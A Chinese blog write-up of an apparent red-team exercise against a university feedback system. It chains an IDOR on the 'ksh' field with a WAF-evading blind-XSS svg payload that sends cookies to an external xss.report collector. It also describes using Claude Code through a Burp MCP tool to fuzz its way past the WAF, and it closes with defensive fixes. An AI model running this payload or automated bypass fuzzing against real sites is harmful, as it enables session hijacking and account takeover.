【HW实录】记录某靶标系统后台AI辅助绕过XSS盲打导致管理员权限接管

0x01 故事背景

前段时间有幸参加了上海市的HW,在那场充满硝烟的赛博博弈中,我成功拿下了一个关键的靶标系统。

这次渗透的过程堪称教科书级别的“组合拳”打法:从微小的逻辑瑕疵到越权操作,再到最终通过 Blind-XSS 绕过 WAF 成功窃取管理员 Cookie。今天,我决定复盘整个渗透过程,把这份“实战笔记”分享给正在安全路上摸爬滚打的你。

0x02 信息收集

在对目标资产 http://***.edu.cn/ 进行信息收集时,我发现了一个非常典型的交互功能点——“我要反馈”。

作为一名渗透测试员,这种能够将用户输入持久化存储并在后台展示的功能,简直就是 XSS 漏洞的天然温床。我当时的第一反应是:如果这里存在 Blind-XSS(盲打 XSS),只要后台管理员点开反馈列表,他的权限就是我的。

但我并没急着直接上 Payload。作为职业习惯,我先随手扔进了一个简单的 <a> 标签探测一下过滤情况

0x03 漏洞利用

在拦截住反馈提交的 POST 请求包后,我敏锐地捕捉到了一个名为 ksh 的字段:

这个 ksh 看起来是一个纯数字的流水号。我脑子里瞬间闪过一个念头:如果我修改这个数字,是不是可以越权修改他人的反馈?或者冒充他人提交?

为了验证这个猜想,我打开了 Yakit 的爆破模块,对 ksh 的最后六位进行了小范围重放。果不其然,当长度返回为 54 时(成功保存),而某些长度返回 69(提示反馈已存在或无权限)。

逻辑转换瞬间:
这意味着我不仅发现了一个越权漏洞,更获得了一个“扩音器”——我可以批量地给系统中成百上千的用户植入我的恶意 Payload。即使管理员不看我的反馈,他总会看别人的吧?


接下来正式进入盲打XSS环节

真正的挑战才刚刚开始。当我尝试输入常规的 <script> 标签时,系统无一例外地返回了 403 Forbidden。显然,目标系统背后有一层 WAF 在时刻盯着我。

“普通的招数不行,那就来点硬核的。”

经过大量的变体测试和编码尝试,我发现 WAF 对传统的 script、img/onerror 比较敏感,但对 svg 标签的防御逻辑存在死角。结合 HTML 实体编码,我构造了一套极其隐蔽的 Payload。

这里的话,其实我是直接结合AI来自动化实现的,因为这里AI效果最好,直接接入Burpsuite MCP工具,配置好本地Claude Code,让他对这个“留言”的字段进行自动化的测试,通过返回的情况不断自动化去fuzz去绕过,具体就不详细说了

大致总结一下,关键思路的转变:

  1. 标签选择:使用 <svg/onload=…>。
  2. 编码对抗:将 Payload 中的敏感字符(如 fetch、document.cookie)进行实体编码。
  3. 闭合测试:考虑到后台渲染环境,我准备了多套闭合方案(包括 “> 闭合和 ‘”> 闭合)。

最终成型的核心 Payload 如下(脱敏版):

<svg/onload="fetch(&#40;&#39;https://xss.report/c/your_id&#39;,&#123;method:&#39;POST&#39;,mode:&#39;no-cors&#39;,body:JSON.stringify(&#123;cookies:document.cookie,url:location.href&#125;)&#125;&#41;">

标注与注释:

  • &#40; 和 &#39;:分别是左括号和单引号的实体编码,用于绕过 WAF 对函数调用的特征识别。
  • fetch:利用现代浏览器 API 进行异步数据回传,比传统的 new Image() 更隐蔽

带着“广撒网”的策略,我结合之前发现的 IDOR 漏洞,换了几个爆破出来的 ksh 值,连续打出了一波 Payload。

剩下的就是等待。

几小时后,我的 XSS 接收平台弹出了消息提醒。点开一看,那一串长长的 JSESSIONID 赫然在目!

通过替换 Cookie,我成功登录了后台管理系统。系统右上角清晰地显示着账号:adminsjw。

0x04 防御反思

这次渗透成功的本质是“逻辑漏洞 + 输入过滤不严”的链式反应。作为开发者,我们该如何加固?

  1. 输入合法性校验 (Input Validation)
    不要只依赖前端过滤或简单的黑名单。对于反馈内容,应使用成熟的 HTML Purifier 库,只允许安全的标签白名单。
  2. 输出编码 (Output Encoding)
    这是防御 XSS 的金科玉律。在后台管理系统渲染用户提交的数据时,必须进行 HTML 实体转义。
  3. 权限校验 (Authorization)
    针对 ksh 这种关键业务 ID,后端必须校验当前请求用户是否有权操作该 ID 对应的数据,从根源消除 IDOR。
  4. Cookie 安全属性
    为敏感 Cookie 设置 HttpOnly 标志。这样即使存在 XSS 漏洞,攻击者也无法通过 document.cookie 读取到会话凭证。

结语

安全研究不仅仅是寻找系统的裂缝,更是一场关于思维广度的较量。这次护网行动让我深刻体会到,漏洞从来不是孤立存在的,将细小的逻辑瑕疵串联起来,往往能产生摧枯拉朽的力量。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注